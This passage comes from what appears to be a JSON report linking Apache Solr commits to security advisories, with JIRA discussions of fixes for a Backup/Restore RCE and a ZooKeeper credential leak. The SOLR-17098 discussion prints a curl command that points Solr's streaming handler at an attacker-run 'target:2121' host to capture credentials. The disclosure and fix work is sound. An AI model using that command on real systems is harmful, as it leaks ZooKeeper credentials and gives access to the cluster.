to be relative to that location (without \"../\"). But I think for 8.11 at least (and probably 9.4.1), we would need to protect without making \"location\" mandatory. (As I've mentioned before). Did some basic cleanup of the 8.11 patch, added some javadoc, when traversing folders, skip only \".\" and \"..\", not every folder starting with a \".\". Ran \"ant precommit\". Do you have a suggestion for CHANGES.txt entry and JIRA number to use? Looks good to me Jan. I would use this JIRA. And something simple like \"Restrict certain file types from being uploaded with or downloaded from Config Sets.\" Pushed to branch_8_11 in https://github.com/apache/lucene-solr/commit/7e9a2e67f812032a049836c3aa0b18bf5cd717f9 I have updated the patch for main branch with latest updates from 8.11 patch: SOLR-16949.patch Precommit passes and I am ready to merge. Do we want to avoid the extra publicity that a PR gives, by pushing directly from the command line? If so, I'm grateful for a patch review of the updated patch. Note: I kept the patch from SOLR-16480 intact, but we could do another JIRA to remove that filename-suffix feature from main branch after this has landed. That patch for main looks good to me Jan, I would push directly to main (and backport of course) without PRs. As for SOLR-16480 , I do think we should have a Jira to remove that in main, after this has landed. main: https://github.com/apache/solr/commit/15534754f492079e52288dd11abaf1c4261b3ea4 branch_9x: https://github.com/apache/solr/commit/644dd3a6d6780d71030f7070754d2f3adce22859 branch_9_4: https://github.com/apache/solr/commit/ad6854b04361e351e08aa8f39fb7ff0e8fedc9a2 There's some local (and Jenkins) test failures that look related to this change, particularly in TestConfigSetService and TestFileSystemConfigSetService. See this Jenkins build for an example. (I've also attached the Jenkins logs, so they're preserved after our build-retention rolls over.) jenkins.log.txt.gz At a glance it looks like the problem is that this change introduces some InputStream leaks ] in our ConfigSet code. Seems like a simple-ish fix? I suspect one of you guys might already be aware of this and working on a fix, and I don't want to duplicate effort. But if you aren't already on it, lmk and I can toss a fix together. Yea, looks like some careless stream handling there. Taking a look. Fix in SOLR-16949-inputstream-leaks.patch . This patch passes Path objects instead of InputStream and also uses the File and byte[] methods of SimpleMagic library instead of always converting to InputStream. Also streamlines tests with try-with-resources. I ran the entire test suite locally, so committed right away: main: https://github.com/apache/solr/commit/c89813a675663bb82f18236840b2a84cac05e1ee branch_9x: https://github.com/apache/solr/commit/c79011e81dada2f9bc4b4df32ffb32152ef81152 branch_9_4: https://github.com/apache/solr/commit/ce2813c97f70b5e83ece80455aad74a1fd7eeca6 A belated LGTM on the resource-leak fix; thanks Jan! Yep, looks good. Doesn't look like branch_8_11 code is directly using the same code, except some tests that may be leaking streams. I'll have a look at pushing a patch to that branch too. Backport of inputstream handling to branch_8_11: https://github.com/apache/lucene-solr/commit/6c8f24eb9e3fe1cb19058173f2e221de3febfeda Closing after the 9.4.1 release" - }, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "releases/lucene-solr/8.11.3" - ], - "matched_rules": [ - { - "id": "COMMIT_IS_SECURITY_RELEVANT", - "message": "", - "relevance": 32 - }, - { - "id": "XREF_BUG", - "message": "The commit and the advisory (including referenced pages) mention the same bug tracking ticket: SOLR-16949", - "relevance": 32 - }, - { - "id": "CHANGES_RELEVANT_CODE", - "message": "The commit modifies code containing relevant filename or methods: ZooKeeper, Solr", - "relevance": 8 - }, - { - "id": "CHANGES_RELEVANT_FILES", - "message": "The commit changes some relevant files: solr/core/ivy.xml, solr/core/src/java/org/apache/solr/util/SolrCLI.java, solr/solrj/src/java/org/apache/solr/common/cloud/ZkMaintenanceUtils.java, solr/core/src/resources/magic/executables, solr/core/src/java/org/apache/solr/core/backup/BackupManager.java, solr/core/src/test-files/magic/HelloWorldJavaClass.class.bin, solr/core/src/test-files/magic/hello.tar.bin, solr/licenses/simplemagic-1.17.jar.sha1, solr/core/src/java/org/apache/solr/util/FileTypeMagicUtil.java, solr/core/src/java/org/apache/solr/handler/admin/ConfigSetsHandler.java", - "relevance": 8 - }, - { - "id": "SEC_KEYWORDS_IN_LINKED_BUG", - "message": "The bug tracking ticket SOLR-16949 contains some security-related terms: hardening, security, vulnerable, rce", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: version, handler", - "relevance": 4 - }, - { - "id": "BUG_IN_MESSAGE", - "message": "The commit message references some bug tracking ticket: SOLR-16949", - "relevance": 2 - } - ] - }, - { - "commit_id": "6e2272c4ccc3513d452a4f6bf6dc9c37a344e71c", - "repository": "https://github.com/apache/lucene-solr", - "timestamp": 1683739618, - "hunks": 38, - "message": "SOLR-14853: enableRemoteStreaming and enableStreamBody are now global (#1615) Env vars: SOLR_ENABLE_REMOTE_STREAMING and SOLR_ENABLE_STREAM_BODY Sys props: solr.enableRemoteStreaming and solr.enableStreamBody solrconfig.xml (including via config-edit API) are now no-op; log a warning. Backwards incompatible but easy to comply. Co-authored-by: Jan H\u00c3\u00b8ydahl --------- Signed-off-by: Jan H\u00c3\u00b8ydahl Co-authored-by: Jan H\u00c3\u00b8ydahl ", - "changed_files": [ - "solr/core/src/java/org/apache/solr/core/SolrConfig.java", - "solr/core/src/java/org/apache/solr/handler/DumpRequestHandler.java", - "solr/core/src/java/org/apache/solr/servlet/SolrRequestParsers.java", - "solr/core/src/test-files/solr/collection1/conf/solrconfig-analytics-query.xml", - "solr/core/src/test-files/solr/collection1/conf/solrconfig-collapseqparser.xml", - "solr/core/src/test-files/solr/collection1/conf/solrconfig-components-name.xml", - "solr/core/src/test-files/solr/collection1/conf/solrconfig-delaying-component.xml", - "solr/core/src/test-files/solr/collection1/conf/solrconfig-doctransformers.xml", - "solr/core/src/test-files/solr/collection1/conf/solrconfig-elevate.xml", - "solr/core/src/test-files/solr/collection1/conf/solrconfig-follower.xml", - "solr/core/src/test-files/solr/collection1/conf/solrconfig-follower1.xml", - "solr/core/src/test-files/solr/collection1/conf/solrconfig-hash.xml", - "solr/core/src/test-files/solr/collection1/conf/solrconfig-leader-throttled.xml", - "solr/core/src/test-files/solr/collection1/conf/solrconfig-leader.xml", - "solr/core/src/test-files/solr/collection1/conf/solrconfig-leader1-keepOneBackup.xml", - "solr/core/src/test-files/solr/collection1/conf/solrconfig-leader1.xml", - "solr/core/src/test-files/solr/collection1/conf/solrconfig-leader2.xml", - "solr/core/src/test-files/solr/collection1/conf/solrconfig-leader3.xml", - "solr/core/src/test-files/solr/collection1/conf/solrconfig-managed-schema.xml", - "solr/core/src/test-files/solr/collection1/conf/solrconfig-minhash.xml", - "solr/core/src/test-files/solr/collection1/conf/solrconfig-nocache.xml", - "solr/core/src/test-files/solr/collection1/conf/solrconfig-plugcollector.xml", - "solr/core/src/test-files/solr/collection1/conf/solrconfig-repeater.xml", - "solr/core/src/test-files/solr/collection1/conf/solrconfig-replication-legacy.xml", - "solr/core/src/test-files/solr/collection1/conf/solrconfig-schemaless.xml", - "solr/core/src/test-files/solr/collection1/conf/solrconfig-sql.xml", - "solr/core/src/test-files/solr/collection1/conf/solrconfig-tlog.xml", - "solr/core/src/test-files/solr/collection1/conf/solrconfig.xml", - "solr/core/src/test-files/solr/collection1/conf/solrconfig_perf.xml", - "solr/core/src/test-files/solr/crazy-path-to-config.xml" - ], - "message_reference_content": [], - "jira_refs": { - "SOLR-14853": "The enableRemoteStreaming option is a security risk, and so it's off by default. https://lucene.apache.org/solr/guide/8_6/content-streams.html It seems strange that an option like this is declared in solrconfig.xml (a part of the configSet) instead of being a global option. For example enable.dih.dataConfigParam is a System property. I think it's a bit of a stretch to want only some configSets to use this but not others. Make enableRemoteStreaming option global; not configSet Commit ffedc5bb680e26e48f04899aff4ff3ced7e7c143 in solr's branch refs/heads/main from David Smiley [ https://gitbox.apache.org/repos/asf?p=solr.git;h=ffedc5bb680 ] SOLR-14853 : enableRemoteStreaming and enableStreamBody are now global (#1615) Env vars: SOLR_ENABLE_REMOTE_STREAMING and SOLR_ENABLE_STREAM_BODY Sys props: solr.enableRemoteStreaming and solr.enableStreamBody solrconfig.xml (including via config-edit API) are now no-op; log a warning. Backwards incompatible but easy to comply. Co-authored-by: Jan H\u00f8ydahl --------- Signed-off-by: Jan H\u00f8ydahl Co-authored-by: Jan H\u00f8ydahl Commit 84ac989e5b2358f0c9db8fd4fbc5c5d8785e6e1c in solr's branch refs/heads/branch_9x from David Smiley [ https://gitbox.apache.org/repos/asf?p=solr.git;h=84ac989e5b2 ] SOLR-14853 : enableRemoteStreaming and enableStreamBody are now global (#1615) Env vars: SOLR_ENABLE_REMOTE_STREAMING and SOLR_ENABLE_STREAM_BODY Sys props: solr.enableRemoteStreaming and solr.enableStreamBody solrconfig.xml (including via config-edit API) are now no-op; log a warning. Backwards incompatible but easy to comply. Co-authored-by: Jan H\u00f8ydahl --------- Signed-off-by: Jan H\u00f8ydahl Co-authored-by: Jan H\u00f8ydahl Closing after the 9.3.0 release Commit 6e2272c4ccc3513d452a4f6bf6dc9c37a344e71c in lucene-solr's branch refs/heads/branch_8_11 from David Smiley [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=6e2272c4ccc ] SOLR-14853 : enableRemoteStreaming and enableStreamBody are now global (#1615) Env vars: SOLR_ENABLE_REMOTE_STREAMING and SOLR_ENABLE_STREAM_BODY Sys props: solr.enableRemoteStreaming and solr.enableStreamBody solrconfig.xml (including via config-edit API) are now no-op; log a warning. Backwards incompatible but easy to comply. Co-authored-by: Jan H\u00f8ydahl --------- Signed-off-by: Jan H\u00f8ydahl Co-authored-by: Jan H\u00f8ydahl Commit 1e5c88cbed0d7f6a5bb873d851bd58f003b94399 in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=1e5c88cbed0 ] SOLR-14853 : Fix LTR test failures See dev list thread \"Sv: enableRemoteStreaming+enableStreamBody-change in Solr 8.11.3\" . Need edits to RefGuide: \"Major changes in 8.11\" section as well as anywhere else mentioning old solrconfig.xml configuration of this." - }, - "ghissue_refs": { - "1615": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "releases/lucene-solr/8.11.3" - ], - "matched_rules": [ - { - "id": "CHANGES_RELEVANT_CODE", - "message": "The commit modifies code containing relevant filename or methods: Solr", - "relevance": 8 - }, - { - "id": "CHANGES_RELEVANT_FILES", - "message": "The commit changes some relevant files: solr/core/src/test-files/solr/collection1/conf/solrconfig-analytics-query.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-schemaless.xml, solr/core/src/java/org/apache/solr/servlet/SolrRequestParsers.java, solr/core/src/test-files/solr/collection1/conf/solrconfig-hash.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-repeater.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig_perf.xml, solr/core/src/java/org/apache/solr/handler/DumpRequestHandler.java, solr/core/src/test-files/solr/collection1/conf/solrconfig-leader.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-leader3.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-doctransformers.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-nocache.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-leader1.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-follower1.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-managed-schema.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-leader-throttled.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-sql.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-minhash.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-plugcollector.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-elevate.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-leader2.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-delaying-component.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-tlog.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-collapseqparser.xml, solr/core/src/java/org/apache/solr/core/SolrConfig.java, solr/core/src/test-files/solr/collection1/conf/solrconfig-replication-legacy.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-follower.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-leader1-keepOneBackup.xml, solr/core/src/test-files/solr/crazy-path-to-config.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-components-name.xml", - "relevance": 8 - }, - { - "id": "SEC_KEYWORDS_IN_LINKED_BUG", - "message": "The bug tracking ticket SOLR-14853 contains some security-related terms: security", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: streaming, stream, user", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: handler, request", - "relevance": 4 - }, - { - "id": "BUG_IN_MESSAGE", - "message": "The commit message references some bug tracking ticket: SOLR-14853", - "relevance": 2 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 1615", - "relevance": 2 - }, - { - "id": "COMMIT_IS_SECURITY_RELEVANT", - "message": "", - "relevance": 32 - } - ] - }, - { - "commit_id": "f13b6738b5b8888023dc760801b9436ee30429c5", - "repository": "https://github.com/apache/lucene-solr", - "timestamp": 1705099656, - "hunks": 3, - "message": "SOLR-17098: Fix some test issues", - "changed_files": [ - "solr/solrj/src/java/org/apache/solr/client/solrj/io/SolrClientCache.java", - "solr/solrj/src/test-files/solrj/solr/solr.xml" - ], - "message_reference_content": [], - "jira_refs": { - "SOLR-17098": "Security list thread: https://lists.apache.org/thread/byrxkqk15mh6960wmx4r851srosgkvbh ZK Credentials and ACLs can be exposed to any endpoint when the Streaming Handler is used: curl --data-urlencode 'expr=search(collection1, zkHost=\"target:2121\", qt=\"/export\", q=\" : \", fl=\"id,a_s,a_i,a_f\", sort=\"a_f asc, a_i asc\")' http://localhost:8983/solr/demo/stream In the command above, if the Solr instance has any Zookeeper Credentials or ACLs provided, then that information will be sent to the \"target:2121\" address. An attacker could set up a mock Zookeeper service to obtain the credentials, and then gain access to the Solr's Zookeeper Nodes. Zookeeper Credential Information Disclosure bug via Streaming Expressions Have a patch ready to test out. It works across all uses of the SolrClientCache, so hopefully there won't be any gaps we need to plugin in the future. Thanks for working on this! Feel free to at-mention me next time. I would have responded earlier in the month. I applied the patch to IntelliJ and also ran the tests via Crave CLI invocation (all passed; 6m 43sec) CloudSolrStream: you initialize ignoreZkACLs boolean but never use it (thanks IntelliJ for pointing this out) TupleStream: can remove your only edit; it was just for a newline SolrClientCache: here you used zkHost::contains but shouldn't this be zkHost::equals ? Should match the host exactly, not partially. Thanks for finding the first two, removed both as they were from earlier implementations. The SolrClientCache used contains to make sure that other chRoots could still use the ACLs, because that's not a security issue. However yeah contains was the wrong way to do it. I changed it to \"equals\" after removing chRoots. New patch should be good to go? This works. +1 In retrospect, I don't love that this approach introduces ignoreZkACLs in a number of places; it takes some review to understand what's going on and it seems yet another small wrinkle of complexity on things. It's an exotic option. An alternative approach is to try to isolate the entire change to SolrZkClient.createZkCredentialsToAddAutomatically, where zkCredentialsProvider is loaded and is itself an exotic option as well. The zkServer would be passed in to that method. But it's unclear how that method would know if the zkServer is the one (or ones?) to which the zkCredentialsProvider applies. So a half-baked idea. Maybe it would require whatever the sys prop that identifies ZK being set and equivalent to the arg. Perhaps ZkCredentialsInjector's API (or its collaborator APIs) are missing an argument that ought to be there \u2013 the zkServer. Any way I did +1. Yeah unfortunately all of the ZkCredentialsInjector stuff is a part of SolrJ-Zookeeper, and thus doesn't really have any knowledge of the Solr Core's Zookeeper address. So we'd have to pass through that info anyways. I'll move forward so this won't block the patch releases, we can always improve it in the future. houston , anything needed to get this over the finish line? This is the only block for 9.4.1 https://issues.apache.org/jira/issues/?jql=project%20%3D%20SOLR%20AND%20resolution%20%3D%20Unresolved%20AND%20fixVersion%20%3D%209.4.1%20%20ORDER%20BY%20priority%20DESC%2C%20updated%20DESC This has been backported to 9.4.1, but it hasn't been backported to 8.11.3 yet, so it's not marked as Done. You should be good to move forward with 9.4.1 This has been backported to branch_8_11 now. All backporting should be done. Closing after the 9.4.1 release" - }, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "releases/lucene-solr/8.11.3" - ], - "matched_rules": [ - { - "id": "XREF_BUG", - "message": "The commit and the advisory (including referenced pages) mention the same bug tracking ticket: SOLR-17098", - "relevance": 32 - }, - { - "id": "CHANGES_RELEVANT_CODE", - "message": "The commit modifies code containing relevant filename or methods: Solr, zkHost", - "relevance": 8 - }, - { - "id": "CHANGES_RELEVANT_FILES", - "message": "The commit changes some relevant files: solr/solrj/src/java/org/apache/solr/client/solrj/io/SolrClientCache.java, solr/solrj/src/test-files/solrj/solr/solr.xml", - "relevance": 8 - }, - { - "id": "SEC_KEYWORDS_IN_LINKED_BUG", - "message": "The bug tracking ticket SOLR-17098 contains some security-related terms: security", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: issue", - "relevance": 4 - }, - { - "id": "BUG_IN_MESSAGE", - "message": "The commit message references some bug tracking ticket: SOLR-17098", - "relevance": 2 - } - ] - }, - { - "commit_id": "143fa6f09ac1679c690cd1657c81f87ba7f449b9", - "repository": "https://github.com/apache/lucene-solr", - "timestamp": 1702480054, - "hunks": 1, - "message": "SOLR-16949: Tolerate null bytes / empty file", - "changed_files": [ - "solr/core/src/java/org/apache/solr/util/FileTypeMagicUtil.java" - ], - "message_reference_content": [], - "jira_refs": { - "SOLR-16949": "Before an 8.11.3 release, https://issues.apache.org/jira/browse/SOLR-16480 needs to be backported, thus creating this as a blocker. Here I am assuming that 8.x is vulnerable to the same attack, which should be investigated. RCE via Backup/Restore APIs - Fix for all file extensions See attached patch. It is not a back port of SOLR-16480 and is not for branch_8_11, but for main. It adds a file content MAGIC check for each location where we today call ZkMaintenanceUtils.isFileForbiddenInConfigSets() . I.e. it will peek inside each file and use \"libmagic\" style detection based on a config file in resources/magic folder. There exists thousands of matching rules for all kid of file formats (see https://github.com/file/file/tree/master/magic/Magdir ), but I copied rules for ZIP, TAR and CLASS, and made a simple regex rule for shell scripts. As an alternative to using the https://github.com/j256/simplemagic library (which is not super well maintained) would be to write our own detection rules in Java, which would not be too hard for JAR and CLASS which are the most important. This is definitely not a requirement for the change, but we should get rid of the file type extension stuff that I added in. Otherwise that looks like a really good patch, thanks for the awesome work here Jan! So we now have three options for safeguarding 8.11.3 against this attack: This patch (replacing filename suffix solution). It is way safer and I cannot think of a way an attacker could circumvent it, other than crafting a .jar or .class file that we cannot detect SOLR-16781 to feature toggle directives (keep old behavior by default) https://github.com/apache/solr/pull/2068 to feature toggle BACKUP to local file system (keep disabled by default) If we choose 1 we may not urgently need 2 or 3. But we may want to proceed with 2 for other reasons later. If we choose 2, we don't plug the hole by defualt but will need to document a recommendation to disable. If we choose 3 it will be a breaking change for users of BACKUP feature that needs to be documented. I choose Option 1 for all 8.11, 9.x, main Option 2 for 9.x, and remove in 10 If anyone wants to expedite this, feel free to grab this. I won't be able to continue until mid next week. > we should get rid of the file type extension stuff that I added in. Formally that cannot be removed until 10.0. We could document the deprecation of the extension feature together with this patch, and open a new Jira to remove the code in main. I won't be able to continue until mid next week. Would you be able to get to this soon? If so, I'll wait for you to get it in and then spin RC2. I can give backporting an attempt... Uploaded a patch for branch_8_11 SOLR-16949-8_11.patch It is based on the other patch, but with tweaks to make it fit the older codebase. As a workarodnd for the fact that the new FileTypeMagicUtil is in core and not in solrj, and therefore cannot be used by ZkMaintenanceUtils where we have methods like uploadToZK() and zkTransfer(), I added a check in SolrCLI before uploading a configset with either solr zk upconfig or solr create -c foo -d folder/. It is not perfect, but I did not want to introduce a new jar dependency to solrj, and I did not fancy writing the detectors myself. ichattopadhyaya please take it for a spin if you like. So with this we fail fast if the configSet contains a sh, zip, jar, tar or class file When uploading configset with bin/solr When uploading configset through configset API When doing backup of a collection (skip file and warn, not abort) When restoring a configset from a backup into zookeeper (skip file and warn, not abort) The patch contains some tests but not extensive integration tests here. I have run the entire test suite with ant. No refguide or CHANGES so far. When reviewing, pay special attention to Do we detect enough file tyes? Is the detection for each (especially jar) robust or can it be gamed? Should the backup/restore fail instead of just skip file and warn when an illegal file is detected? Try to customize solr.configset.upload.mimetypes.forbidden sysprop Based on review feedback I may help to refine a time or two before commit. Or feel free to revise the patch at your liking. When the 8.x patch is solid, we can update the main-branch patch with the latest changes. As a workarodnd for the fact that the new FileTypeMagicUtil is in core and not in solrj, and therefore cannot be used by ZkMaintenanceUtils where we have methods like uploadToZK() and zkTransfer(), I added a check in SolrCLI before uploading a configset with either solr zk upconfig or solr create -c foo -d folder/. It is not perfect, but I did not want to introduce a new jar dependency to solrj, and I did not fancy writing the detectors myself. This also requires direct access to ZooKeeper, so I'm not nearly as concerned. We can really only control the Solr ConfigSets API as well as any downloading of Zookeeper data to disk (Backups) Do we detect enough file tyes? Is the detection for each (especially jar) robust or can it be gamed? Maybe it would be helpful to add a second level of security here. Most of the places that would be dangerous to allow jars/class files to be backed up to are \"lib/\" directories. (/solr/lib, /solr/modules/<>/lib, /solr-home/lib, /solr-core/lib, etc) We could basically forbid saving anything to a \"lib\" folder, or to a known classloader folder (like shared-lib). Maybe it would be helpful to add a second level of security here. Most of the places that would be dangerous to allow jars/class files to be backed up to are \"lib/\" directories. (/solr/lib, /solr/modules/<>/lib, /solr-home/lib, /solr-core/lib, etc) We could basically forbid saving anything to a \"lib\" folder, or to a known classloader folder (like shared-lib). Ok I went ahead and tried this out, adding it as SOLR-16949 -main-protect-lib.patch This is independent of the other patch, but ultimately I think both should be merged. Thoughts? Thanks for review Houston. The protected lib technique is orthogonal and would definitely add another layer. Should that patch perhaps ripple down from main -> 9x -> 9.4.1 -> 8.11.3, or do\u00a0 you want to land it in 8.11.3 first? We urgently want to get 8.11.3 and 9.4.1 out the door, so I think it needs to land both places anyway. Thanks for agreeing Jan. If you have time to review, I'll make it ready for commit and then do the regular main -> 9x -> 9.4.1 -> 8.11.3 workflow. The protected path feature can be added in the open, right, as it does not reveal any undisclosed CVE to anyone, it is just an additional hardening against potential future undiscovered attacks. I'll try to review PRs. Hmm I guess, its a different way of solving the same vulnerability, so I'm not sure it can be done openly. Happy to make a public JIRA/PR if y'all think its ok. Added more tests, and fixed something that the tests found. It should be close to ready I think. I'm trying to get up to speed on what's happening here and I'm confused. \u00a0If the problem relates to being able to tell Solr to backup stuff to locations that shouldn't be (i.e. to places inside Solr), can't we have a simple allowList approach? \u00a0Maybe the parent issue SOLR-16480 is what matters and not this backport one? \u00a0I see my \"slippery slope\" comment there and it really still resonates me... we are going down a slippery slope alright. I'd appreciate it if you would expand on \"slippery slope\" when you use that phrase. I don't think having a list of \"protected paths\" that don't allow writes is anything crazy. I also think limiting the file types that we allow in configSets is perfectly acceptable. I have no issue with also adding an \"allowList\" for backups. The big difference being that this is back-compat for good-faith users for 9x and 8.11, whereas allowList wouldn't be. The slippery slope is a cat & mouse game with someone who observes these... what I consider band-aids, and sees something we missed, and this continues. \u00a0If we protect certain paths but forget one, is that then CVE worthy? \u00a0I'd argue instead that we should require the installer user, the one who can configure solr.xml & startup, to choose the allowList paths that are okay. \u00a0A similar mindset for file extensions if we want to block based on them. RE back-combat; IMO it's reasonable to require that an upgrading user further specify certain startup/solr.xml options that didn't exist before, in the name of security. \u00a0Perhaps some good defaults could mean no action is necessary for some users. \u00a0Maybe \"/var\" is pre-approved. \u00a0Maybe furthermore we shouldn't load libs from a \"/var\" path unless the configuration is explicit about using such a path. \u00a0Just brainstorming a bit. I don't think it hurts to add multiple layers of security. However, the root cause of this issue is that it is even allowed to define a file-system backup outside of the \"location\" that is defined in solr.xml as the backup repository location, see https://solr.apache.org/guide/solr/latest/deployment-guide/backup-restore.html#localfilesystemrepository What if we modified the LocalFileSystemRepository to restrict the backup location to be within the statically configured location? Then attackers whould need to figure out how to add that admin-decided location to classpath, or to create a core inside that location. Or something else. /solr/backup_data If we protect certain paths but forget one, is that then CVE worthy? With two layers of protection, I think we'd be pretty safe from having to issue another CVE, but obviously there is always the possibility. I'd argue instead that we should require the installer user, the one who can configure solr.xml & startup, to choose the allowList paths that are okay. The \"allowBackupPath\" you suggest is really close to the \"allowPaths\" logic we already have, however it really just adds \"SOLR_HOME\", \"SOLR_DATA_HOME\" and \"coreRootDirectory\". \"SOLR_DATA_HOME\" is fine, no libraries are loaded from there. \"SOLR_HOME\" has \"SOLR_HOME/lib\" and \"coreRootDirectory\" has \"coreRootDirectory/lib\". Lastly, \"sharedLib\" might be included under \"allowPaths\", so we can forbid that just for the sake of being cautious. The other logic in the protections merely exist to be extra cautious. Basically this is one less configuration a user needs to care about, but adds extra checks to make sure they can't shoot themselves in the foot. (e.g. even if the \"allowBackupPath\" option existed, they could set it to a folder that included their SOLR_HOME, which would make them vulnerable) That's basically what this PR is, although extra protected paths have been added just to be extra cautious RE back-combat; IMO it's reasonable to require that an upgrading user further specify certain startup/solr.xml options that didn't exist before, in the name of security. I agree for a minor version, but this would be a fairly big change for users in a patch change, especially when there are options that aren't back-compat breaking. Users using an \"8.11\" docker image, to auto-receive security updates, would see their backups start failing automatically. Perhaps some good defaults could mean no action is necessary for some users. \u00a0Maybe \"/var\" is pre-approved. I don't like the ideas of defaults when Solr has no guidelines for how a filesystem should be setup. Using \"/var\" as a default wouldn't work because the SOLR_HOME/lib and SOLR_CORE/lib could easily be under \"/var\", like they are in the Docker image. Looks good Jan. And maybe the \"slipper slope\" metaphor isn't the right metaphor Jan, I think making the location required going forward is a good idea. And all paths provided in the API would need to be relative to that location (without \"../\"). But I think for 8.11 at least (and probably 9.4.1), we would need to protect without making \"location\" mandatory. (As I've mentioned before). Did some basic cleanup of the 8.11 patch, added some javadoc, when traversing folders, skip only \".\" and \"..\", not every folder starting with a \".\". Ran \"ant precommit\". Do you have a suggestion for CHANGES.txt entry and JIRA number to use? Looks good to me Jan. I would use this JIRA. And something simple like \"Restrict certain file types from being uploaded with or downloaded from Config Sets.\" Pushed to branch_8_11 in https://github.com/apache/lucene-solr/commit/7e9a2e67f812032a049836c3aa0b18bf5cd717f9 I have updated the patch for main branch with latest updates from 8.11 patch: SOLR-16949.patch Precommit passes and I am ready to merge. Do we want to avoid the extra publicity that a PR gives, by pushing directly from the command line? If so, I'm grateful for a patch review of the updated patch. Note: I kept the patch from SOLR-16480 intact, but we could do another JIRA to remove that filename-suffix feature from main branch after this has landed. That patch for main looks good to me Jan, I would push directly to main (and backport of course) without PRs. As for SOLR-16480 , I do think we should have a Jira to remove that in main, after this has landed. main: https://github.com/apache/solr/commit/15534754f492079e52288dd11abaf1c4261b3ea4 branch_9x: https://github.com/apache/solr/commit/644dd3a6d6780d71030f7070754d2f3adce22859 branch_9_4: https://github.com/apache/solr/commit/ad6854b04361e351e08aa8f39fb7ff0e8fedc9a2 There's some local (and Jenkins) test failures that look related to this change, particularly in TestConfigSetService and TestFileSystemConfigSetService. See this Jenkins build for an example. (I've also attached the Jenkins logs, so they're preserved after our build-retention rolls over.) jenkins.log.txt.gz At a glance it looks like the problem is that this change introduces some InputStream leaks ] in our ConfigSet code. Seems like a simple-ish fix? I suspect one of you guys might already be aware of this and working on a fix, and I don't want to duplicate effort. But if you aren't already on it, lmk and I can toss a fix together. Yea, looks like some careless stream handling there. Taking a look. Fix in SOLR-16949-inputstream-leaks.patch . This patch passes Path objects instead of InputStream and also uses the File and byte[] methods of SimpleMagic library instead of always converting to InputStream. Also streamlines tests with try-with-resources. I ran the entire test suite locally, so committed right away: main: https://github.com/apache/solr/commit/c89813a675663bb82f18236840b2a84cac05e1ee branch_9x: https://github.com/apache/solr/commit/c79011e81dada2f9bc4b4df32ffb32152ef81152 branch_9_4: https://github.com/apache/solr/commit/ce2813c97f70b5e83ece80455aad74a1fd7eeca6 A belated LGTM on the resource-leak fix; thanks Jan! Yep, looks good. Doesn't look like branch_8_11 code is directly using the same code, except some tests that may be leaking streams. I'll have a look at pushing a patch to that branch too. Backport of inputstream handling to branch_8_11: https://github.com/apache/lucene-solr/commit/6c8f24eb9e3fe1cb19058173f2e221de3febfeda Closing after the 9.4.1 release" - }, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "releases/lucene-solr/8.11.3" - ], - "matched_rules": [ - { - "id": "XREF_BUG", - "message": "The commit and the advisory (including referenced pages) mention the same bug tracking ticket: SOLR-16949", - "relevance": 32 - }, - { - "id": "CHANGES_RELEVANT_FILES", - "message": "The commit changes some relevant files: solr/core/src/java/org/apache/solr/util/FileTypeMagicUtil.java", - "relevance": 8 - }, - { - "id": "SEC_KEYWORDS_IN_LINKED_BUG", - "message": "The bug tracking ticket SOLR-16949 contains some security-related terms: hardening, security, vulnerable, rce", - "relevance": 4 - }, - { - "id": "BUG_IN_MESSAGE", - "message": "The commit message references some bug tracking ticket: SOLR-16949", - "relevance": 2 - } - ] - }, - { - "commit_id": "68fa493b8f959788216eb48f6bcef825fe8e24e6", - "repository": "https://github.com/apache/lucene-solr", - "timestamp": 1698090306, - "hunks": 79, - "message": "Revert \"SOLR-15694, SOLR-15715: Node roles and dedicated query coordinator nodes\" This reverts commit 2088d743db9304492ab19c14bc80c6187f172b79.", - "changed_files": [ - "solr/contrib/analytics/src/java/org/apache/solr/handler/component/AnalyticsComponent.java", - "solr/contrib/ltr/src/java/org/apache/solr/ltr/response/transform/LTRFeatureLoggerTransformerFactory.java", - "solr/contrib/ltr/src/java/org/apache/solr/ltr/search/LTRQParserPlugin.java", - "solr/core/src/java/org/apache/solr/api/CoordinatorV2HttpSolrCall.java", - "solr/core/src/java/org/apache/solr/cloud/api/collections/Assign.java", - "solr/core/src/java/org/apache/solr/cloud/api/collections/CategoryRoutedAlias.java", - "solr/core/src/java/org/apache/solr/cloud/api/collections/CreateCollectionCmd.java", - "solr/core/src/java/org/apache/solr/cloud/api/collections/RestoreCmd.java", - 